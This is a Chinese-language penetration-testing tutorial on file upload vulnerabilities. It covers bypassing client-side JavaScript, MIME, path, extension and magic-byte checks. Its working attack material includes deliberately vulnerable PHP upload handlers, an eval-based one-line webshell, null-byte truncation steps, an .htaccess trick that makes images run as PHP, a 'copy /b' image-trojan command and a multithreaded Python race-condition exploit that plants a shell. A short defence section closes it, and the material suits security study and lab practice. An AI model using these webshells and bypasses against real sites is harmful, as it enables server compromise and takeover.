文件上传漏洞总结

1. 概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞，用它获得服务器权限最快最直接。在Web程序中，经常需要用到文件上传的功能。如用户或者管理员上传图片，或者其它文件。如果没有限制上传类型或者限制不严格被绕过，就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本，就会导致网站被控制甚至服务器沦陷。，复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。此篇文章主要分三部分：总结一些常见的上传文件校验方式，以及绕过校验的各种姿势，最后对此漏洞提几点防护建议。

2. 上传检测流程

通常一个文件以HTTP协议进行上传时，将以POST请求发送至Web服务器，Web服务器接收到请求并同意后，用户与Web服务器将建立连接，并传输数据。

• 客户端javascript校验（一般只校验文件的扩展名）
• 服务端校验
  • 文件头content-type字段校验（image/gif）
  • 文件内容头校验（GIF89a）
  • 目录路经检测（检测跟Path参数相关的内容）
  • 文件扩展名检测 (检测跟文件 extension 相关的内容)
  • 后缀名黑名单校验
  • 后缀名白名单校验
  • 自定义正则校验
• WAF设备校验（根据不同的WAF产品而定）

3. 客户端校验

这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码 最常见的就是检测扩展名是否合法，有白名单形式也有黑名单形式。

• 这类检测，通常是在上传页面里含有专门检测文件上传的JavaScript代码，最常见的就是检测扩展名是否合法，示例代码如下：

    function CheckFileType()
    {
        var objButton=document.getElementById("Button1");//上传按钮
        var objFileUpload=document.getElementById("FileUpload1");
        var objMSG=document.getElementById("msg");//显示提示信息用DIV
        var FileName=new String(objFileUpload.value);//文件名
        var extension=new String(FileName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件扩展名

        if(extension=="jpg"||extension=="JPG")//可以另行添加扩展名
        {
            objButton.disabled=false;//启用上传按钮
            objMSG.innerHTML="文件检测通过";
        }
        else
        {
            objButton.disabled=true;//禁用上传按钮
            objMSG.innerHTML="请选择正确的文件上传";
        }
    }

• 判断方式：在浏览加载文件，但还未点击上传按钮时便弹出对话框，(进一步确定可以通过配置浏览器HTTP代理（没有流量经过代理就可以证明是客户端JavaScript检测））内容如：只允许传.jpg/.jpeg/.png后缀名的文件，而此时并没有发送数据包。

绕过方法：

• 将需要上传的恶意代码文件类型改为允许上传的类型，例如将shell.asp改为shell.jpg上传，配置Burp Suite代理进行抓包，然后再将文件名shell.jpg改为shell.asp
• 上传页面，审查元素，修改JavaScript检测函数（具体方法：可以使用firbug之类的插件把它禁掉）

4. 服务端检测

4.1. 服务端MIME类型检测

MIME的作用：使客户端软件，区分不同种类的数据，例如web浏览器就是通过MIME类型来判断文件是GIF图片，还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类， web客户端使用MIME来说明希望接收到的数据种类。

服务器端检测文件MIME类型可能的代码如下：

    <?php
    if($_FILES['file']['type'] != "image/gif")
    {
        echo "Sorry, we only allow uploading GIF images";
        exit;
    }
    $uploaddir = './';
    $uploadfile = $uploaddir . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
    {
        echo "File is valid, and was successfully uploaded.
";
    } else {
        echo "File uploading failed.
";
    }
    ?>

• 绕过方法

配置Burp Suite代理进行抓包，将Content-Type修改为image/gif，或者其他允许的类型

然后在对应目录生成shell.jpg

4.2. 服务端目录路径检测

• 上传的数据包中，如果存在path(或者其他名称)等能够操作上传路径的参数，修改该参数配合解析漏洞Get Webshell,测试代码
• 条件：php版本5.3.4以下；gpc关闭

<?php
error_reporting(0);

if(isset($_POST['upload']))
{
    $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
    $file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1);
    if(in_array($file_ext,$file_arr))
    {
        $tempFile = $_FILES['file']['tmp_name'];
        //这里的$_REQUEST['jieduan']造成可以利用截断上传
        $targePath = $_SERVER['DOCUMENT_ROOT'].$_REQUEST['jieduan'].rand(10,99).
            date('YmdHis').".".$file_ext;
        if(move_uploaded_file($tempFile,$targePath))
        {
            echo '上传成功'.'<br>';
            echo '路径'.$targePath;
        }
        else
        {
            echo("上传失败");
        }
    }
else
{
    echo("上传失败");
}
}
?>

4.3. 服务端文件扩展名检测

• 黑名单检测：
  黑名单的安全性比白名单低很多，服务器端，一般会有个专门的blacklist文件，里面会包含常见的危险脚本文件类型，例如：html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc等等。

黑名单扩展名过滤，限制不够全面：IIS默认支持解析.asp | .cdx | .asa | .cer等

    <?php
    function getExt($filename){
        //sunstr - 返回字符串的子串
        //strripos — 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
        return substr($filename,strripos($filename,'.')+1);
    }
    if($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br />";
    }
    else{
        $black_file = explode("|","php|jsp|asp");//允许上传的文件类型组
        $new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔开的最后字符串
        if(in_array($new_upload_file_ext,$black_file))
        {
            echo "文件不合法";
            die();
        }
        else{
            $filename = time().".".$new_upload_file_ext;
            if(move_uploaded_file($_FILES['file']['tmp_name'],"upload/".$filename))
            {
                echo "Upload Success";
            }
        }
    }
    ?>

不被允许的文件格式.php，但是可以上传文件名为shell.php_(下划线是空格)，IIS支持，linux不支持，详细见下面的特殊文件名绕过描述；

• 白名单检测
  仅允许指定的文件类型上传，比如仅与需上传jpg | gif | doc等类型的文件，其他全部禁止
• 绕过方法：

• 文件名大小写绕过

  用像 AsP，pHp 之类的文件名绕过黑名单检测

• 名单列表绕过

  用黑名单里没有的名单进行攻击，比如黑名单里没有 asa 或 cer 之类

• 特殊文件名绕过：

  比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格)，这种命名方式 在 windows 系统里是不被允许的，所以需要在 burp 之类里进行修改，然后绕过验证后，会 被 windows 系统自动去掉后面的点和空格，但要注意 Unix/Linux 系统没有这个特性
• 0x00截断
  文件名后缀就一个%00字节，可以截断某些函数对文件名的判断。在许多语言函数中处理函数中，处理字符串中
  在扩展名检测这大部分都是 asp 的程序有这种漏洞，给个简单的伪代码

    Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg
    Type = gettype(name)//而在该函数中，是从后往前扫描文件扩展名，所以判断为jpg文件
    If(type == jpg)
    SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断，最后以dama.asp存入路径里

操作方法：上传dama.jpg，Burp抓包，将文件名改为dama.php%00.jpg，选中%00，进行url-decode。

PHP任意文件上传漏洞（CVE-2015-2348）**该漏洞存在于php的move_uploaded_file()函数中，这个函数一般在上传文件时被使用，用途是将上传的文件移动到新位置。这次的漏洞就出现在$destination这个参数中，这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控，那么我们可以利用空字符x00来截断后面的拓展名，从而造成任意文件上传。

演示代码：
php <?php /* move_uploaded_file(string $filename,string $destination) $destination参数代表得失上传文件移动的最终目的地址 如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控， 那么我们可以利用空字符x00来截断后面的拓展名，从而造成任意文件上传 */ if (isset($_POST['Upload'])){ $target_path = WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $_POST['drops'])) { $html .= '<pre>'; $html .= 'Your image was not uploaded.'; $html .= '</pre>'; }else { $html .= '<pre>'; $html .= $target_path . ' succesfully uploaded!'; $html .= '</pre>'; }} else{ $html .= '<pre>'; $html .= 'Your image was not uploaded.'; $html .= '</pre>'; } }
然后我们上传文件，这里把POST的drops参数利用空字符进行截断

• .htaccess 文件攻击

  配合名单列表绕过，上传一个自定义的.htaccess，就可以轻松绕过各种检测,该文件仅在Apache平台上存在，.htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件，该文件默认开启，启用和关闭在httpd.conf文件中配置。该文件的写法如下：

  <FilesMatch "a.jpg">
   SetHandler application/x-httpd-php
  </FilesMatch>

  保存为.htaccess文件。该文件的意思是，只要遇到文件名中包含有”a.jpg”字符串的任意文件，统一执行。如果这个"a.jpg"的内容是一句话木马，即可利用中国菜刀进行连接

4.4. 服务端文件内容检测

+ 文件幻数检测：

JPG ： FF D8 FF E0 00 10 4A 46 49 46

GIF ： 47 49 46 38 39 61 (GIF89a)

PNG： 89 50 4E 47

绕过方法：
在文件幻数后面加上自己的一句话木马就行了。

+ 文件相关信息检测：

一般就是检查图片文件的大小，图片文件的尺寸之类的信息。

绕过方法：
伪造好文件幻数，在后面添加一句话木马之后，再添加一些其他的内容，增大文件的大小。

通常，对于文件内容检查的绕过，就是直接用一个结构完整的文件进行恶意代码注入即可。

简化的演示代码：

    <?php
    var_dump(getimagesize("shell.php"));
    ?>

加上GIF头内容

5. 竞争上传

演示代码：

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."
<br />";

if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed，delete the file！");
}
?>

首先将文件上传到服务器，然后检测文件后缀名，如果不符合条件，就删掉，我们的利用思路是这样的，首先上传一个php文件，内容为：

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉，所以我们使用多线程并发的访问上传的文件，总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件，一旦我们成功访问到了上传的文件，那么它就会向服务器写一个shell。利用代码如下：

import os
import requests
import threading

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)

    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()

if __name__ == "__main__":
    threads = 20

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

经过几次尝试后成功成功写入shell

6. 图片木马制作

命令：

copy /b 1.jpg+2.php

7. 总结

条件： 寻找一个上传点，查看上传点是否可用。
利用：
首先判断是程序员自己写的上传点，还是编辑器的上传功能
如果是编辑器上传功能，goolge当前编辑器的漏洞
如果是程序员写的上传点
上传一个正常的jpg图片 查看上传点是否可用
上传一个正常的jpg图片，burp拦截，修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测）
上传一个正常的jpg图片，burp拦截， 00截断 1.php%00.jpg
判断服务器是什么类型，web服务器程序，是什么类型，版本号多少
利用解析漏洞
防御：
上传文件的存储目录禁用执行权限
文件后缀白名单，注意0x00截断攻击（PHP更新到最新版本）
不能有本地文件包含漏洞
及时修复Web上传代码（重要）
升级Web Server

参考链接

1. Upload Attack Framework
2. web中的条件竞争漏洞
3. 文件上传总结
4. 截断在文件包含和上传中的利用
5. 文件上传漏洞